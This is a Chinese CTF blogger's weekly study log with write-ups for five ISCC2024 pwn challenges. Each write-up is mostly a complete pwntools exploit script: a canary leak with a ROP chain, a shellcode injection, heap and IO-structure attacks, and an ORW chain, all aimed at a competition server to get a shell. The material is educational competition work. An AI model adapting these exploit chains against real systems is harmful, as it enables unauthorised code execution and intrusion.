24-05-13

本周学习总结

全局常量声明:文章内容仅是由教程观点和自己总结获得,仅供参考。

py,爽!

一、[ISCC2024]–miao

Check:

32位程序,开启canary和NX。

漏洞点:

先通过字符串格式化漏洞泄漏canary,然后第二次栈溢出构造ROP来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# ==================== 程序连接配置 ====================

p = remote("182.92.237.102", 10015)
# p = process("./cat")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])

# ==================== ELF 和上下文配置 ====================

# elf = ELF("./cat")
# libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 漏洞利用 ====================

# 泄露 canary
sela(b"it?\n", b"%31$p-")
canary = int(reu(b"-", True), 16)
ph(canary, "canary")

# ROP gadget 地址
int_0x80 = 0x806cf83
pop_eax = 0x080b8666
pop_edx_ecx_ebx = 0x0806f330
bin_addr = 0x080BB7C8

# 构造 payload:栈溢出 + ROP 链
payload = b"A" * 0x64 + p32(canary) + p32(0) * 3
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_addr)
payload += p32(pop_eax) + p32(0xB)
payload += p32(int_0x80)

# gdbp(p)

# 发送 payload
sela(b" ( ^.^ ) \n\n", payload)

# 进入交互模式
op()

flag:服务器错误

二、[ISCC2024]–Your_program

Check:

64位程序。无保护。

漏洞点:

无限栈溢出。可以考虑再次调用gets函数在bss段上写shellcode,然后跳转shellcode来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# 远程连接
p = remote("182.92.237.102", 10032)

# 本地调试选项(已注释)
# p = process("./heap")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])

elf = ELF("./heap")
# libc = ELF("./libc.so.6")

# 调试与架构设置
# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

# 漏洞利用流程
pop_rdi = 0x401763

payload = b"A" * 0x28 + p64(pop_rdi) + p64(0x403900) + p64(elf.plt["gets"])
payload += p64(0x403900)

sela(b"key: ", payload)
payload = asm(shellcraft.sh())
sel(payload)
op()

flag:服务器错误

三、[ISCC2024]–ISCC_U

Check:

32位程序,canary和NX开启。

漏洞点:

经典老题了,用堆块记录堆块和一个输出函数的地址,通过一些构造,我们可以获得libc的基地址,并且获得输出函数地址的编辑权利,此时我们可以将该函数编辑为system,并且32位存在的传参特性来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

p = remote("182.92.237.102", 10016)
libc = ELF('./libc.so.6')

def create(Size, Content=b'a'):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'size')
p.sendline(bytes(str(Size), 'utf-8'))
p.recvuntil(b'Content')
p.send(Content)

def free(id):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'Index')
p.sendline(bytes(str(id), 'utf-8'))

def show(id):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'Index')
p.sendline(bytes(str(id), 'utf-8'))

# ==================== 漏洞利用 ====================

# 步骤1: 创建大chunk并释放,泄露libc地址
create(0x500)
create(0x20)
free(0)

# 步骤2: 重新分配chunk 0,泄露libc基址
create(0x500, b'a' * 4)
show(0)
libc_add = u32(p.recvuntil(b'\xf7')[-4:])

malloc_hook = libc_add - 56 - 0x18
libcbase = malloc_hook - libc.symbols['__malloc_hook']
system = libcbase + libc.symbols['system'] + 1
puts = libcbase + libc.symbols['puts']

success('malloc_hook ' + hex(malloc_hook))
success('libcbase ' + hex(libcbase))

# 步骤3: Fastbin Attack - 释放chunk 1和2
free(1)
free(2)

# 步骤4: 创建新chunk覆盖fd指针,劫持到malloc_hook附近
create(0x8, p32(system) + b";sh;")

# 步骤5: 触发漏洞
show(1)

# 进入交互模式
p.interactive()

flag:服务器错误

四、[ISCC2024]–heapheap

Check:

64位程序,保护全开,沙盒禁用execve。

漏洞点:

程序存在uaf漏洞,但是对堆块的大小进行了限制,我们可以考虑通过构造largebinattack来打IO,通过执行一个叫setcontext函数部分片段来对栈迁移,使得程序的执行流跳转到某个提前已经布置好ORW的地址,通过这种方法就可以获得flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *

p = remote('182.92.237.102', 11000)
libc = ELF('./libc-2.31.so')

def create(idx, Size):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'index')
p.sendline(bytes(str(idx), 'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size), 'utf-8'))

def free(id):
p.recvuntil(b'choice')
p.sendline(b'4')
p.recvuntil(b'index')
p.sendline(bytes(str(id), 'utf-8'))

def edit(id, Content):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'index')
p.sendline(bytes(str(id), 'utf-8'))
p.recvuntil(b'context')
p.send(Content)

def show(id):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'index')
p.sendline(bytes(str(id), 'utf-8'))

# 初始分配
create(0, 0x420)
create(1, 0x410)
create(2, 0x410)
create(3, 0x410)

# 泄露 libc 地址
free(0)
show(0)
libc_add = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = libc_add - libc.symbols['__malloc_hook'] - 96 - 0x10
io_list_all = libcbase + 0x1ed5a0

log.info('libcbase ' + hex(libcbase))
log.info('io_list_all ' + hex(io_list_all))

# 泄露堆地址
create(4, 0x430)
edit(0, b'a' * (0x10 - 1) + b'A')
show(0)
p.recvuntil(b'A')
heap_add = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
log.info('heap_add ' + hex(heap_add))

# 构造伪造 chunk 和 IO 利用链
fd = libcbase + 0x1ecfd0
payload = p64(fd) * 2 + p64(heap_add) + p64(io_list_all - 0x20)
edit(0, payload)

free(2)
create(5, 0x470)
free(5)

# 定义关键地址和 gadgets
openadd = libcbase + libc.sym['open']
readadd = libcbase + libc.sym['read']
writeadd = libcbase + libc.sym['write']
setcontextadd = libcbase + libc.sym['setcontext']
rdi = libcbase + 0x0000000000023b6a
rsi = libcbase + 0x000000000002601f
rdx_r12 = libcbase + 0x0000000000119431
ret = libcbase + 0x0000000000022679

chunk_small = heap_add + 0x850
IO_wfile_jumps = libcbase + 0x1e8f60
fakeIO_add = chunk_small
orw_add = fakeIO_add + 0x200
A = fakeIO_add + 0x40
B = fakeIO_add + 0xe8 + 0x40 - 0x68
C = fakeIO_add

# 构造 fake IO 结构体
fake_IO = b''
fake_IO = fake_IO.ljust(0x18, b'\x00')
fake_IO += p64(1)
fake_IO = fake_IO.ljust(0x78, b'\x00')
fake_IO += p64(fakeIO_add)
fake_IO = fake_IO.ljust(0x90, b'\x00')
fake_IO += p64(A)
fake_IO = fake_IO.ljust(0xc8, b'\x00')
fake_IO += p64(IO_wfile_jumps)
fake_IO += p64(orw_add) + p64(ret) + b'\x00' * 0x30
fake_IO += p64(B) + p64(setcontextadd + 61)

# 构造 ORW 链
flag_add = orw_add + 0x100 + 0x10
orw = p64(rdi) + p64(flag_add) + p64(rsi) + p64(0) + p64(openadd)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(flag_add) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(readadd)
orw += p64(rdi) + p64(1) + p64(writeadd)

# 组装最终 payload
payload = fake_IO
payload = payload.ljust(0x200 - 0x10, b'\x00')
payload += orw
payload = payload.ljust(0x300, b'\x00')
payload += b'flag\x00'

edit(2, payload)

# 触发利用
p.recvuntil(b'choice')
p.sendline(b'5')
p.interactive()

flag:服务器错误

五、[ISCC2024]–shopping

Check:

64位程序,除PIE其他保护全开。

漏洞点:

输入密码I’m ready for shopping进入主程序。主程序本身是个多线程函数,我们可以考虑通过劫持线程arena达到任意地址分配,然后执行system来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def cp():
p.close()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def raddr_T():
return int(re(14), 16)

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gdbm(name, b=''):
if b != '':
gdb.attach(target=("127.0.0.1", 99999), exe=name, gdbscript=b)
else:
gdb.attach(target=("127.0.0.1", 99999), exe=name)

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# ==================== 程序连接配置 ====================

p = remote("182.92.237.102", 10019)
# p = process("./004")
# p = process(["qemu-mipsel", "-g", "99999", "./pwn"])
# p = process(["qemu-mipsel", "./pwn"])

# ==================== ELF 和上下文配置 ====================

elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# elf.arch, elf.so

# ==================== 初始交互 ====================

payload = b"I'm ready for shopping\n"
sela(b"password: \n", payload)

# ==================== 功能函数定义 ====================

def add(size, n, content=''):
sela(b'Action:', stre(1))
sela(b'Item ID:', stre(size))
sela(b'Quantity', stre(n))
if content == '':
sela(b'Add gift message? (0/1):', stre(0))
else:
sela(b'Add gift message? (0/1):', stre(1))
sea(b'Message:', content)

# ==================== 漏洞利用 ====================

# 步骤1: 分配12个大chunk
for i in range(12):
add(0x4000, 1000)

# 步骤2: 分配特定大小的chunk用于溢出
add(0x4000, 262, b'0' * 0x3ff0)
sleep(0.2)

# 步骤3: 构造payload覆盖数据
payload = b'1' * 0x50 + p32(0) + p32(3) + p64(0x60201d) * 10
se(payload)
sleep(0.2)

# 步骤4: 构造ROP payload获取shell
system_plt = elf.plt["system"]
payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
payload = payload.ljust(0x60, b'b')
add(0x60, 0, payload)

# 进入交互模式
op()

flag:服务器错误

下周学习计划

| 应该要做的事情 |

学习感受

累,最想摆烂的一集。


24-05-13
https://zlsf-zl.github.io/2024/05/13/5-13-5-20/
作者
ZLSF
发布于
2024年5月13日
许可协议